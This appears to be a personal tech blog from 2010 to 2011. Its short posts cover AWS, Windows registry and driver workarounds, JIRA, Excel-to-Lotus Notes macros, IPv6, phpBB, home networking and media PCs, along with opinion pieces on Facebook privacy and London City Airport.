2011-07-09T17:33:00.001+01:00

and I'm impressed, very impressed.

Created an S3 (storage) bucket and copied part of my personal website content. Click the enable website option, set the permission 'everyone' and list. It shows the URL the buckets available at and your done, files are available to browse, or in my case link to. All very easy.

I used Gladinet Cloud Desktop to move files back and forth. Throw your user details at it and it creates a drive mapping (Windows) straight to your S3 buckets.

As something else to try I also created an EC2 (server) instance (Linux, free) which was also painless. During the instance setup you have the opportunity to create an key pair which you then use with an SSH client to connect to the public interface, a DNS entry created on the fly by AWS. Its a Linux server with all the normal Linux functions you'd expect.

Updating Photoshop RAW Plugin - OSX

2011-06-18T15:24:00.000+01:00

Recent purchase of a Canon 60D meant I needed to be on plugin version 6.4.1 in order to read the CR2 file format. Never previously having to upgrade from 6.1 I jumped straight in.
Downloaded the .dmg, ran, fail ... error : updates not available.

After lots of trial and error I found installing each update sequentially, 1-3 and then finally .4 solved the problem.

Adding Console to Windows 7 Context Menu

2011-06-17T09:03:00.001+01:00

Windows 7 has the menu item 'open command here' when you shift, right click a folder. As a Console user I wanted to open this rather than the generic windows cmd.

In trying to actually find out about something else I stumbled across :

Computer\HKEY_CLASSES_ROOT\Directory\shell\cmd\command

Change (Default) to :

"\Console.exe" /s /k pushd "%V"
eg
"C:\Program Files\Console2\Console.exe" /s /k pushd "%V"

You can also put a pretty little icon on the menu :

Create string value :

Computer\HKEY_CLASSES_ROOT\Directory\shell\cmd\Icon and make data the path of the exe, dll with the icon.

JIRA Regex mail handler and Domino

2011-06-14T11:06:00.001+01:00

I've been building a JIRA project to consolidate a number of tickets systems that we use. As a previous JIRA hater I started the project with some trepidation. After a month I've actually come right around. I've managed to build something which now has pretty much the same functions as the other bespoke domino systems we use/used and extra. Including some nice workflows for ops work which would impact dev and production.

Something thats bugged us all is the email reply into comments. Our primary mail client, Domino, really wants you to use reply with history, its top of all the menu's, its hard not to pick it. But doing this with JIRA means ALL the email, including history goes into the comment. When a few people get going on email the ticket very quickly becomes un-readable.

Using just 'reply' or 'reply internet style' can be made to work, but both require a conscious decision.

Looking for a way around this the regex mail handler looked promising. My initial attempt :

project=NAME, issuetype=##, createusers=false, splitregex=/From:/gi

Failed, the regex looks OK to me. A ticket with Atlassian came back with the suggestion :

project=NAME, issuetype=##, createusers=false, splitregex=/From:*/

Which works fine .. no more email junk even if the user replies with history.

Facebook privacy debate, face recognition.

2011-06-12T11:56:00.003+01:00

I use Facebook, and I of course have obligatory 'friends' who actually aren't really friends at all. Some I have an interest in (see below) and some I just said yes to in the furor of Facebooks release and growth. Most are people I know, or did know, some I work with, some family, and then there are some real friends.

But nearly all the regular Facebook contributors I come across use it for two things:

How am I doing versus x ?
A replacement of sending junk email links to everyone in your address book*

* Notice how your inbox is no longer full of emails from 'friends', or in my case my mother, telling you to look at this link, watch out for this virus when you make a coffee and stir the spoon the wrong way which will allow access to all your bank accounts, credit cards and library membership. All stopped. Facebook, thank you !

I guess #1 is really social media feeding the basic human instinct of survival. Look at me I did this, I own this, I went here. Therefor I must be more intelligent than you as I have a better job, earn more money, and so I will survive, and you will not.

Maybe I'm being cynical and people just want to 'share'. Which is fine, but if your going to share or use social media to keep a score then please don't think that ticking that little box makes your data private.

What do you think the motivation is behind these companies ? Its to make money. How ? By having the most data and doing shit with it. Everything you do will be tracked. Pictures, links, status updates, wall posts. ALL will all be analyzed to the nth degree and used in a way to make money.

Face recognition is the latest headline news to hit the Daily Mail spin machine. How long do you think Facebook have been doing this privately ? .. Google already do it with Picasa. You chose to put your pictures on the web. A public place, with two billion users (correct at date of writing, 2 billion and 1, 2 billion and 5, I can't keep up !). And then you want privacy and protection ? - good luck, welcome to the future.

No, I'm the computer man !

2011-06-09T08:15:00.000+01:00

Sending IBM/Lotus Domino eMails from Excel

2011-06-06T14:15:00.003+01:00

Heres your macro :

Public Sub emailme()
Dim noSession As Object, noDatabase As Object, noDocument As Object
   Dim vaRecipient As Variant
   Dim rnbody As Range
   Dim rnbody1 As Range
   Dim Data As DataObject
   Const stSubject As String = "P.O. Issues" ****
   Const stMsg As String = "Do you have an update on the following:"****  
   Const stPrompt As String = "Please select the range:"****
   vaRecipient = VBA.Array("your email address.com")****A MUST****
    On Error Resume Next
    Set rnbody = Application.InputBox("Please choose the range", Type:=8)
    On Error GoTo 0
    If rnbody Is Nothing _
    Then MsgBox "RNG is nothing" _
Else 'MsgBox rnbody.Address
rnbody.Select
Set rnbody1 = Range(rnbody, rnbody.Offset(0, 3))************
rnbody1.Select
   Set noSession = CreateObject("Notes.NotesSession")
   Set noDatabase = noSession.GETDATABASE("", "")
   If noDatabase.IsOpen = False Then noDatabase.OPENMAIL
   Set noDocument = noDatabase.CreateDocument
   rnbody1.Copy
   Set Data = New DataObject
   Data.GetFromClipboard
   With noDocument
      .Form = "Memo"
      .SendTo = vaRecipient
      .Subject = stSubject
      .body = stMsg & vbCrLf & vbCrLf & Data.GetText
      .SaveMessageOnSend = True
   End With
   With noDocument
      .PostedDate = Now()
      .Send 0, vaRecipient
   Set noDocument = Nothing
   Set noDatabase = Nothing
   Set noSession = Nothing
   'Activate Excel for the user.
   AppActivate "Microsoft Excel"
   Application.CutCopyMode = False
   MsgBox "The e-mail has successfully been created and distributed.", vbInformation
End With
End Sub

Replace the ***** parts with your particular details.

You may need to change the following line :

Set rnbody1 = Range(rnbody, rnbody.Offset(0, 3))************

This by default will use the first cell plus the 3 cells to the right.

I then applied that to a button, but another way I found was to put the following code in your worksheet {copy code,right click sheet tab name, select view code, & paste}

Any cell with the words 'Send Me' in can then be double clicked to invoke the macro.

Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Excel.Range, Cancel As Boolean)
Select Case Target.Column
Case 1
If ActiveCell.Value = "Send Me" Then
ActiveCell.Offset(1, 0).Select
Call emailme
End If
End Sub

One gotcha I found was my installation of Excel didn't have the DataObject available.

From the Visual Basic editor, Tools, References.
NB// If References is greyed out then Run, Reset and try again.

Enable MS Forms 2.0

MonkeyTunes and Subsonic

2011-06-04T18:43:00.000+01:00

Never an iTunes fan, in fact I'm a complete hater, I've always used MediaMonkey for local music management, and iPod/iPhone music sync. Today in my never ending quest for home AV utopia I just took two more steps. I think forward, but actually maybe not.

Wanting to control my music from the garden (yes I know iTunes has this) I found MonkeyTunes & SubSonic.

MonkeyTunes adds a plugin into MM which then uses the iTunes (irony) bonjour service so you can control your music from the regular iPhone iTunes remote.

Subsonic installs a web service which displays, and streams your music via the browser.

I'll probably use them both once. But there you go.

No more Sky ! (the satellite service rather than another end of the world prediction).

2011-06-04T18:34:00.002+01:00

My eBay Sky HD box started to go on the blink and as I begrudge paying the £20(ish) service charge for channels I never watch I decided to make the leap into FreeSat.

Amazon, 1 x Humax Foxsat HDR 500GB

The first time I tried to set it up it got stuck on the 'enter postcode' - which really only sets your local regional channel preference. But when it fails its also indicative of a dish alignment problem - oh no, maybe the Sky HD box was OK.

Second try, 24 hours later and everything went through fine. hmmm ..

So far so good, the box works fine. My only gripe is the remote control, you pretty much need to stand in front of the box, especially with the front flap closed. Going to investigate IR extenders.

Think I'll stick with the official firmware for a while aswell ..

Sky Box Installer Menu

2011-05-24T20:20:00.000+01:00

Because I can never remember it :

To access the Installer setup, do the following:

Old method:
1 Press Services on your Sky remote.
2 Press 4 (System Setup).
3 Press 0
4 Press 1
5 Press Select

New Method: HD Box
1 Press Services on your Sky remote.
2 Press 0
3 Press 0
4 Press 1
5 Press Select

London City Airport - Respect your neighbours !

2011-05-22T18:04:00.009+01:00

Having lived in close proximity to London City Airport (LCA) for nearly 13 years you kind of get used to big business clashing with, and ignoring local residents. Regardless of the PR stunts they really dont give a flying toss about them.

In recent times theres been the debacle of the increase in flights and London Borough of Newhams (LBN) inability, or unwillingness to doing anything sensible about it. (for more info http://www.fighttheflights.com/).

Noise measurement and the clever manipulation of 'stats' and blissful disregard for decent debate is another long standing problem residents feel aggrieved by.

Now you will probably say, and rightly so, that I chose to live close to an airport so put up and shut up. Which is a fair point. But when you move in its doing so with certain understandings about flight numbers and so called noise regulations.

But onto the latest LCA stunt.

For the geographically challenged LCA is on the south side of Royal Albert dock. One of three docks which together make up the Royal Docks. Steeped in history and at the time, and maybe still, the biggest man made dock in the world.

In the past 10 years a heap of residential and commercial development has gone on both north and south of Royal Victoria dock. Houses, apartments and hotels serving The Excel Exhibition centre. Royal Docks also now one of the regeneration zones recently announced so has a bright future.

10 years ago a pair of swans moved in to the area and recently gathered a flock of friends, some of which have apparently been displaced by work on the Olympic village in Stratford. At times theres probably 40 swans in and around the docks sharing the space with Canadien geese, More-hens, Ducks, unfortunately sea gulls and the obligatory London Rock Doves - Pigeons !

LBN recently 'relocated' (when I say relocated you should read kick them out and not find them another home) the sailing centre and its left the dock rather devoid of human use so the increase in wildlife has become an attractive and welcome addition - why not let the birds use it if no-one else will.

Yesterday a neighbour told me the airport planned to post warnings that people should stop feeding the birds which is encouraging them to stick around, and also a warning about possible prosecution. A cull was even talked about - Swans !? owned by the Queen - someone should let her know ! This has to be a sewing circle chinese whisper.

Well this morning (Sunday, yes Sunday !) the village drums started to beat that someone was capturing swans and a LCA 'security' patrol was in attendance.

Wandering down to investigate, camera and phone in hand I was presented a leaflet from LCA explaining the legality and safety issues the swans cause and they had obtained all the required permits.

When someone asked to see the permit ? - no. A registered swan charity also in attendance would seem to indicate it was above board.

Apparently this amount of birds is starting to make LCA edgy about safety. Which I guess is fair enough, a 10kg swan, goose, duck or in fact any of the birds in the area could do some interesting damage. But interestingly pilots claim its actually the seagulls which are the problem. Regardless, LCA say the swans have to go .. the rest or the birds, well they will probably be culled.

I don't actually have a problem with the safety part of this argument but more the way LCA just roll in and just throw their weight around, its not acceptable. Not a single attempt to engage with the community, explain the reasoning or any background.

I'm not shocked, its just another example of the business rolling the community. Well all I can say is stand by, they've pissed some noisy people off with this little exercise.

No doubt they'll remove the remaining swans but that still leaves a plethora of other birds which without the Queens protection will probably be culled. And in fact it doesn't actually solve the problem, it just temporarily removes a symptom. The birds will be back !

Business, people and nature. Business will win.

Theres a local resident debate : http://www.bvra.org.uk << You will need to sign up.

IPv6 CIDR

2011-05-13T18:32:00.001+01:00

2001:0db8:0123:4567:89ab:cdef:1234:5678
|||| |||| |||| |||| |||| |||| |||| ||||
|||| |||| |||| |||| |||| |||| |||| |||128   Single end-points and loopback
|||| |||| |||| |||| |||| |||| |||| ||124
|||| |||| |||| |||| |||| |||| |||| |120
|||| |||| |||| |||| |||| |||| |||| 116
|||| |||| |||| |||| |||| |||| |||112
|||| |||| |||| |||| |||| |||| ||108
|||| |||| |||| |||| |||| |||| |104
|||| |||| |||| |||| |||| |||| 100
|||| |||| |||| |||| |||| |||96
|||| |||| |||| |||| |||| ||92
|||| |||| |||| |||| |||| |88
|||| |||| |||| |||| |||| 84
|||| |||| |||| |||| |||80
|||| |||| |||| |||| ||76
|||| |||| |||| |||| |72
|||| |||| |||| |||| 68
|||| |||| |||| |||64   Single End-user LAN (default prefix size for SLAAC)
|||| |||| |||| ||60   Some (very limited) 6rd deployments
|||| |||| |||| |56   
|||| |||| |||| 52
|||| |||| |||48   end sites assignment(for automatic hierarchies & general purpose end-site deployments)
|||| |||| ||44
|||| |||| |40
|||| |||| 36   possible future Local Internet registry extra-small allocations
|||| |||32   Local Internet registry minimum allocations
|||| ||28   Local Internet registry medium allocations
|||| |24   Local Internet registry large allocations
|||| 20   Local Internet registry extra large allocations
|||16
||12   Regional Internet Registry allocations from IANA^[5]
|8
4

PphBB 3.0.8 Upgrade

2011-03-27T11:03:00.003+01:00

I was two versions behind production and I also wanted to see if I could install RSS & a mobile template Mod.

Upgraded to 3.0.8 which was the normal seamless experience.

Then entered the word of AutoMod. Which as with most things sent to make life easier totally screwed me. Firstly the app has a few 'update' file options. Live, direct FTP or if they fail (because you have good security) then it will download the modified files and let you update at your leisure.

The download (zip, tar.gz or .tar) worked once. And then all subsequent files appeared to be corrupt. There are some posts on the forum with no obvious fix.

Tried FTP - #FAIL ! - it totally ignored (or maybe I mis-typed) the FTP path which resulted in the files getting splatted all over the structure. Chaos, and a broken site.

Its OK, I have a backup - #FAIL #2. Permissions all wrecked.

Stop, slow down, think .. All the data is in the DB, which is safe, and I have many backups of. Install a clean 3.0.8 and point the install to the old db. Well this did'nt work as I'd expected - it wants to use a new db. A quick google and just replacing the config.php from the screwed install got me working. YAY.

Go to bed

Wake up to Bot hell .. I'd assumed (naively) that the .8 anti-bot would have been better, I'd enabled everything. Not the case so I went back and installed the tried and trusted Anti-Bot question mod.

Again trying (stupidly) with AutoMod - #FAIL *sigh* - going off that very quickly.

Manually made the changes and all is well.

EDIT : New and improved anti-bot registration installed - Peoplesign (which also required me to update to a 3.0.8 style)

EDIT : Peoplesign didnt prevent all spam signups, wow they are persistent. Reverted to the 'ask a question' default phpBB sign up options. So far so good.

Wisestamp signature code

2011-03-23T18:44:00.002Z

As Wisestamp currently has no cloud or import export option I'll store the html here ..

<p><span><span style="font-family: 'trebuchet ms', geneva; color: #333333;"><strong><span style="font-size: medium; color: #000000;">Paul Regan<br /><br /></span></strong><span style="font-size: small;"><span style="color: #3366ff;">t:</span> +44(0)7867 503631</span><strong><br /></strong><span style="font-size: small;"><span style="color: #3366ff;">e:</span> <a style="text-decoration: none; color: #333333;" href="mailto:me@paulregan.co.uk" target="_blank">me@paulregan.co.uk</a><br /></span><a style="text-decoration: none; color: #333333;"><span style="font-family: 'trebuchet ms', geneva;"><span style="color: #3366ff;">w:</span> http://</span></a><a style="text-decoration: none; color: #333333;" href="http://www.paulregan.co.uk" target="_blank">www.paulregan.co.uk<br />_</a>__________________________________________________________</span></span></p>

Which looks like :

GMail Signature - Wisestamp

2011-03-20T18:52:00.003Z

The default one is pretty poor and surprisingly has no HTML support !

Stumbled across Wisestamp.com which installs as a Chrome extension.

Works pretty well. Comes with a heap of default settings you'd normally use, social networking links, IM etc. One downside is theres no cloud (when did everything become cloud ?) sync so you have to install the extension and setup your signature on each Chrome install.

RS 208-1786 RJ45 to BT

2011-02-26T11:57:00.000Z

Part, erm, lost count, lets say 8, of operation run cable from lounge to study. Wanted to plug the BT socket and CAT6 into the same face plate/back box but could only find 4 port RJ45 face plates. Enter RS 208-1786 - RJ45 to BT conversion.

Pins 4 and 5 on the RJ45 port are the equivalent BT pins 5 and 2 (the ones you want).

Homeplugs are dead, long live .... well, copper wires.

2011-02-19T12:59:00.000Z

I've finally given up with my Homeplugs, Netgear HD model. The throughput was never great but it worked for 'most' things. But since installing the HTPC I really wanted to stream full 1080p which the HP had no chance, in fact when I started to test bandwidth with iPerf I was truly shocked at how bad they were.

Spent some time looking at new 500Mb plugs but the reality was even with the entire house turned off, I mean everything turned off, fridges, chargers, everything. Even then the homeplugs connected to a simple four block next to the hub and the t/put was still crap.

So the run STP CAT6 plan kicked in.

Step one purchase Snake Scope !

Just an excuse really, but actually turned out to be pretty useful. At least in the early stages it meant I could just drill a small(ish) hole and poke around in the ceiling. Gave me an idea of what I was up against and proved useful working around beams and stuff.

The chosen wall in the front room, in theory dropped down right above the cloak room toilet on the ground floor. Six holes later I realised I was looking in the wrong place. Measure twice cut once as my Dad used to say.

Eventually finding the drop from the front room turned out to be pretty easy. Then it was a case of cutting 'working' holes in the ceiling and making my way through beams - using existing cable holes and towards the study.

Where I came across the problem of getting through the metal supports they'd used to build the gypsum walls. That proved to be a task easy resolved with another purchase. This time a flexible drill shaft and a step 4-22mm step drill bit. Took some time, some swearing and some dangerous balancing on a chair, which in turn balanced an old tower PC. A H&S person would have imploded on the spot.

I bought some faceplates etc to give a nice finish and then patching up required dustless sanding. googling how I stumbled across a youtube link showing how to smooth the filler with just a rough sponge and warm water, which I tried and worked OK.

MediaTomb library refresh

2011-01-22T11:24:00.000Z

I'm still searching for the holy grail of distributing all media around the home and still keep coming back to MediaTomb running on my NAS as a music fall back. But something that always goes wrong is its inability to update the db with changes. Every time I go through the same hoops of trying to refresh manually, adding/removing directories. And each time it fails and I check my blog for what I did last time, which I;ve never added ! so here it is

Kill the mediatomb process and delete the .db files, start mediatomb and add the Media directory, wait 4 hours .. Job Done !

855GM Series video driver Windows 7 reverts back to Standard VGA

2011-01-22T11:18:00.000Z

When installing 855GM Series video driver Windows 7 reverts back to Standard VGA adapter after restart. The problem is that 855GM Series video driver is not native for Windows 7 and it will always choose Standard VGA Adapter as native video driver. A lot of older laptops have this video chipset. Including my Vaio.

Solution - Spend hours looking on google. Eventually finding a decent blog entry which I am blatantly reproducing here.

So all this is taken from http://www.groundstate.net/855GMWin7.html

The only driver that worked is: Intel(R) Graphics Controller 6.14.10.3722 . The reason why is that Standard VGA Adapter (Windows 7 native) is the same version (6.14.10.3722) but it has newer release date. Newest Intel driver 14.19.50 did NOT work. So get yourself the working video driver below. After Windows 7 install you will see that Standard VGA Adapter is installed and there is an exclamation mark on the "video controller". In order to install the driver we need to get exclamation mark on "video controller (vga compatible)". This spot is occupied by Standard VGA Adapter. Even when you unistall Standard VGA Adapter and install new driver after the reboot Standard VGA Adapter comes back. We need to disrupt Standard VGA Adapter from being installed. My way of disabling the adapter is to edit the driver file for it "c:\windows\system32\drivers\vgapnp.sys". There might be another way for letting Windows stop installing Standard VGA Adapter but I did not find it.

STEP 1

Make sure you unistall video drivers that do not work. If you see exclamation marks on your previous drivers in Device Manager, unistall them. Your Device Manager should say that you have Standard VGA Driver installed under Display category and exclamation mark on "video controller". Make sure you restart PC when asked.

STEP 2

We will need to edit "c:\windows\system32\drivers\vgapnp.sys" file now, but there is a problem. Windows Vista and Windows 7 will NOT allow you to edit system files even when you are the admin. Changing security attributes of that file did not work either. The file is owned by "TrustedInstaller" service. We will need to own the file and give ourselves the full control to edit it.
Click 'Start' and in 'Search' type 'cmd'. The result will show on top. Right-click on 'cmd' and choose "Run as Administrator". If your account does not have admin rights you might be prompted to enter username and password. I used account that already has administrator priviledges. You should have a command prompt with administrator priviledges.

STEP 3

Lets say my logged in username is peter

First command you do is:

takeown /f c:\windows\system32\drivers\vgapnp.sys

This will give ownship to the current user. You should see a message saying SUCCESS etc..

Second command you do is:

cacls c:\windows\system32\drivers\vgapnp.sys /G peter:F

There will be a confirmation message so type 'y'. This will change the security attributes to give you ONLY all the permissions for the file. If you are paranoid as me and want original permissions restored, I will show you how to restore the permissions to the previous step later on in this tutorial . If 'cacls' command does not work you can try using 'icacls'. If you cannot edit this file try to boot to "Save Mode" and try it again (Thx to Giuseppe Chill).

STEP 4

Open c:\windows\system32\drivers\vgapnp.sys in any text editor. Just add any character to the begining of the text. Let's say we will add character x . So the text should start with xMZ and the rest of stuff. Save the file. This edit will render that file unusable.

STEP 5

In Device Manager uninstall Standard VGA Adapter. It will prompt you to restart so do it. After install you will see a message saying that certain devices did NOT installed successfuly, which is GOOD . Go to Device Manager and you should see the exclamation point next to "video controller" and "video controller (vga compatible)". Right-click on "video controller (vga compatible)" and do update driver. Choose "Browse for the Driver" (or something like it ). Point to the driver directory that you downloaded and extracted (win2000). Click "OK". Wait for the driver to be installed. It might hang for a little (It will say that window is "not responding"). Do not worry as this is still installing the driver. It will prompt you to restart so do it. (If it does not prompt click anywhere and wait for message). After restart it will finish installing the driver.

Congratulations!!! You should have a working video driver!!!

STEP 6

Open c:\windows\system32\drivers\vgapnp.sys in any text editor. Remove the first character you put there which was x. Save the file. Your file will be usuable again . You can stop here if you want, but if you want to restore the permissions for the file to original state go to next step.

STEP 7

Right-click on any other file in the c:\windows\system32\drivers. Choose "Properties". Go to "Security" tab. Now compare that security tab with the security tab of c:\windows\system32\drivers\vgapnp.sys. Just make sure the security tabs of those two files look the same (all tabs and advanced options). In order to add "TrustedInstaller" it is not the same as regular usernames because it is a service.
You will need to type "NT SERVICE\TrustedInstaller" (without quotes) when adding it to own the file and to have all permissions. Once you done editing you can delete your account from c:\windows\system32\drivers\vgapnp.sys, because it was not there from the beginning. We took control over and the previous commands added it by default.

UCS Manager launch error

2011-01-05T08:54:00.002Z

I've been fighting with JAVA on my PC for a few days. Trying to launch the Cisco UCS manager - JAVA based. Would kick up the error :

JARSigningException: Found unsigned entry in resource: http://{HOST}.{DOMAIN}/ucsm/unpacked/OfficeLnFs_2.7.jar

Nothing on google. Removed the vast collection of JRE versions, reinstalled, blaah blaah blaah. Still fails. Threw my toys out, stomped away in a huff complaining about JAVA failing to live up to its expectations due to inept programmers ..

Then I twigged. I'd been debugging one of our bespoke JAVA apps last week and had disabled the 'Keep temporary files on my computer' JRE setting.

Corrected, problem fixed .. huff gone.

Building a Home Theatre PC (HTPC)

2011-01-02T23:09:00.003Z

Whilst the PS3 has done a sterling job of being a front room media centre its not perfect and I'd debated building a true HTPC for while.

A certain error whilst watching something on the PS3 kicked started me into investigating alternative options.

Normal requirements. HDMI, decent sound and enough power to run a full 1080p on my TV. I'd had decent success with ITX in the past so quite fancied that route.

After a day of reading I settled on the Zotac ION ATOM N330 Dual Core D-E with 4GB (overkill) of RAM and a Morex Cubid 3688 Silver case. Ordered and delivered the following day from ITX Warehouse. Who run a fantastic service. I already had HDD and cables, no SSD here.

My first intention was just to make use of VLC, web browser, maybe even look at MS Media centre. But during the day of reading I stumbled across XBMC, something which everyone I spoke to afterwards had heard of and tried. I must have been under my rock that day. But the screen shots looked amazing, open source, ie free, live cd, all major OS' supported. Interesting Mr Bond.

With the hardware assembled, which was the normal breeze I fired up the USB boot key created using instructions from mini-itx.com. FAIL. Maybe the keys, or something else but I couldn't get the PC to boot so ended up creating a XBMC liveboot CD and installed using that. XBMC installed and started to load but bombed out just at the part the GUI launches. So I suspect video drivers. Being LINUX I knew this was a bad road to be walking down, and as this was R&D and I already new wireless mice and keyboards where on the horizon, ie more LINUX driver fun, I opted to fall back on tried and 'trusted' (well, trusted is probably the wrong descriptive) Windows 7. Unconsciously I made a 32bit decision - just habit I think.

Windows installed, drivers updated. Installed XBMC and fired it up. Oh I like this, allot. Pretty intuitive, adding the SMB media paths from my NAS all just worked and then I found the Library view which showed all the pretty covers, plot summaries etc .. Movies, TV Shows, Music .. all worked seamlessly. The 'scrapers' went and matched all the TV shows, music and all but two of the films, which I fixed using NFO files.

The IONITX dealt easily with a local 1080p file. Not so streaming across the LAN - Homeplugs, nor WLAN, which is expected. That actually had me delving deeper into my homeplug speed only to discover its crap, seriously so. I have something in the house which is killing the t/put. I need to investigate that or hope AV2 resolves it.

I'm still experimenting with the look and feel of XBMC but so far its a hit for video 720p and below and music is fine.

I added a plugin for iPlayer - which works, and TVCatchup, which doesn't. Although it did once, odd.

So far so good .. Although I have ordered a new 60mm 'silent' fan. The one with the case is a little noisy.

EDIT : TVCatchup now working again. Nothing done. Also found a great iPhone app which uses the HTML interface to control the server. XBMC Remote.

Routing a Cisco WLC 'service' port.

2010-12-31T10:44:00.001Z

We have an almost 100% Cisco VoIP Wireless installation (apparently when it was installed the biggest in Europe) with 300 7921 handsets all hooked up to 4400 Wireless LAN controllers and a Wireless Control System. Installed by TouchBase.

Once tuned this has worked pretty flawlessly and has pretty much been left alone.

We've recently started to implement Zenoss enterprise running out of our North American data centre and wanted to obviously add the WLC appliances.

Problem. Our enterprise uses an RFC1918 10.0.0.0 subnet which is WAN routable. The WLC's are configured as per the Cisco doc with the management port using a 172.16.0.0 subnet, not WAN routable. or not a subnet we want to route. The 172.16 was only ever intended as the isolated network for the WLC and AP's.

I looked into changing the MGT port IP - got scared as the AP's need to use it for the initial LWAPP b'cast, they then switch to using the AP-Manager port, also on the same subnet. What about using the service port ?

The APs & Management interface are on 172.16.##.0/24. The Service port on 10.##.##.0/24. Reading the documentation the rules are: 'Management' port for in band and 'service' for out of band management. The Service port is by default not routable. Which is fine for London as the core switches route 172.16.##.0 and we've historically used that interface. But not if we wanted to use Zenoss without routing 172 across the WAN and as that subnet was only ever designed to be isolated thats not an option.

I found in the doc that you can add static routes which the service port will use. I first tried assigning this using WCS, which would only apply the route to one controller. Claiming the route already existed when you applied to the second - gotta love Cisco managment software, it always does 'most' of what you need, never all. So I static routes on EACH WLC (ie : not the recommended way). But this works. The service ports are now accessible across the WAN and so far work fine.

I've reset a couple of APs and they also seem fine. Fingers crossed.

YLOD update 2

2010-12-25T09:46:00.000Z

Acquired said heat gun and followed the videos but to no avail. I even repeated the process twice. FAIL.

Am now the proud owner of a PS3 Slim. And I must say its so much better. At least the contents of the room aren't sucked into the fan when it starts, in fact its almost silent.

Dynamic web page to display Picasa Web Albums

2010-12-18T11:19:00.002Z

For a while now I've been uploading my vacation photos to the paulregan.co.uk site, in fact that's how it started. Parents and friends wanting to see the recorded history of our vacations ..

I've been using JAlbum with the Foto player template. Which is great and worked really well. Its slightly laborious to create a new folder but for the 3-4 times a year I needed it worked fine.

I then got hooked on photography and wanted to be able to upload some of my (in my opinion) better shots to the site. JAlbum was too slow to just throw one or two shots up. I needed something more dynamic.

I'd been using Picasa & Picasa Web Albums for a while which was a snap to sync between an album on the PC/MAC and the Picasa Web cloud. Picasa does have a html generating tool with some funky templates but that was more the JAlbum model which I didn't want.

If only Picasa Web had a pretty embed display, something like the lightbox or zoombox scripts .. before you comment picasa does, your right, it does but its pretty nasty.

I stumbled across www.paulvanroekel.nl ... He writes templates for both Picasa. And more importantly for Picasa web ! The php code pulls the pictures from all or a designated online album. Update your album, you site dynamically updates the changes.

Pick the template, download, tweak the config and upload to your site. Simples. Almost.

Not sure what causes it, maybe my providers PHP version. But the template files are all .php. trying to open them on the web caused :

Parse error: syntax error, unexpected T_OBJECT_OPERATOR, expecting ',' or ';' in /home/users/web4831/html/paulregan.co.uk/gallery/index.php on line 97

Some quick googling had me change the extension from php to php5 - job done

paulregan.co.uk/gallery/index.php5

PS3 YLOD (Yellow light of death)

2010-12-10T13:20:00.001Z

Waiting for my heat gun to arrive !

To change the blog header link

2010-12-01T21:35:00.000Z

How to link the header to another page

Goto design

Layout

Expand Widgets

Find the following code


<!--Show the image only-->

      <div id='header-inner'>

        <a expr:href='data:blog.homepageUrl' style='display: block'>

Change the last part to


<a href='your url' style='display: block'>

For example



<a href='www.google.com' target="_blank" style='display: block'>

Movember - Week Four

2010-12-01T08:25:00.000Z

Canon 'RAW' format thumbnails.

2010-11-27T13:49:00.000Z

Trying to only shoot RAW pictures and was fed up with no native support thumbnail view in Windows 7 explorer.

Found that Canon supply a RAW codec which fix's the thumbnail. Unfortunately it doesn't display the EXIF information - which is a pain and means you still need to open the files in an app.

http://software.canon-europe.com/

Movember - Week Three

2010-11-22T13:26:00.000Z

Week Three

Movember - Week Two

2010-11-17T12:26:00.001Z

In the name of charity I, and two of my co-workers shall be nurturing top lip facial hair for the month of November.

Please give generously, if not for the good work of the charity then for the sheer fun of me walking around looking like a member of Village People, who are now my inspiration ..

http://www.paulregan.co.uk/movember

Week 2

BioSignature

2010-11-13T12:09:00.000Z

Have you come across BioSignature ? - If not its the theory of Charles Poliquin

http://www.charlespoliquin.com/TheBiosignatureMethod.aspx

From years of trial and error with some science mixed in it claims to identify internal body functions & hormone levels from a fat % test. Theres loads of info to read and its caught my attention. 12 body points measured and run through a formula to provide results which are then interpreted.

Chin and Cheek: The first sites to go down during a diet. These sites aren't linked to any particular hormone imbalance but act as indicator sites as to whether or not the plan is working or not.
Pectoral and Triceps: The androgen sites. High pec readings in men in relation to the triceps can reflect an androgen imbalance which makes it far more difficult to add lean muscle mass.
Suprailliac and Subscapular: The insulin sites. These sites are related to blood sugar management. High readings here vs. the triceps may reflect poor insulin sensitivity and carb intolerance.
Mid-axillary: This site is correlated to thyroid hormone levels.
Umbilical: The infamous cortisol site. It can be high despite low overall body fat. If this site is imbalanced then steady state cardio would create a further imbalance and cause the client to store fat rather than burn it.
Knee and Medial Calf: These skinfolds are related to growth hormone and act as an indicator in the quality and quantity of sleep a client experiences.
Quadriceps and Hamstring: High levels here vs. the triceps are correlated to high estrogen levels. This site usually comes up in females. Lactate threshold training works best here.

My first test was 20% bf over all, low carb tolerance, high oestrogen and low t.

After a month of high protein low carb, in fact zero carbs in the week, and high doses of omega I'd gone down a whole 1% !! .. but muscle up 4kg .. which is nice but not whats supposed to happen.

The second test showed some sites up and some down but mainly oestrogen was up which apparently accounts for the shite bf loss. After talking over the past months changes its been attributed to dosing on crap fish oil and so actually ingesting more xenoestrogens. But now my cynical side is starting to kick in.

I'm going to persevere with it, probably with some more attention after Christmas. The next step has been suggested to get some blood work done to check some minerals (magnesium & zinc) and vit D with blood tests. I'm actually also thinking of getting hormones tested to confirm or debunk the results, or at least use in conjunction with.

Not sure how that would work, its hard to ask the biosignature practitioner, who I must add seriously knows his stuff, to examine the hormone results which is actually questioning the validity of the test in the first place.

I mean does it just give you a number for each which falls in a range .. Actually I can google that ..

Canon D30, Tamron 18-270 & Long Exposures

2010-09-17T16:47:00.000+01:00

On vacation in France, a private waterfall at our disposal. A perfect chance to try my recently purchased tripod to see if I can create some of those silky water shots.

Sat there for an hour playing with settings thinking I was great. Checked them later and they where pretty much all blurred.

Two mins googling and a link with disabling image stabilisation on the lens. Bingo. On the Tamron its actually VC (I forget the acronym). Tried a couple of test shots and it appears problem solved.

Back to the waterfall tomorrow afternoon.

I also found that VC doesn't actually work in the timed (10 seconds) shot mode. But it does seem to make a difference when the d30 takes the picture. So turn it off.

Not sure what other lens do this. I'll hopefully find out soon when I buy my bosses 'L's.

Adding other directories to Drop Box

2010-08-27T14:24:00.001+01:00

Drop Box is a brilliant app for syncing files between different PC's & OS's via the cloud.

Highly recommended !

By default Drop Box will only monitor and sync files and directories in the folder you set up, or by default \Users\User\Documents\My DropBox.

To add 'other' files you can create a symbolic link in the drop box directory to the external area.

Start a command prompt

(Depending on your OS then you may need to start a command prompt as Administrator)

mklink /d {source} {destination}

mklink /d "C:\Path\To\My Dropbox Folder\" "\Path\to\directory"

 
Pathto can be a UNC or mapped drive letter.

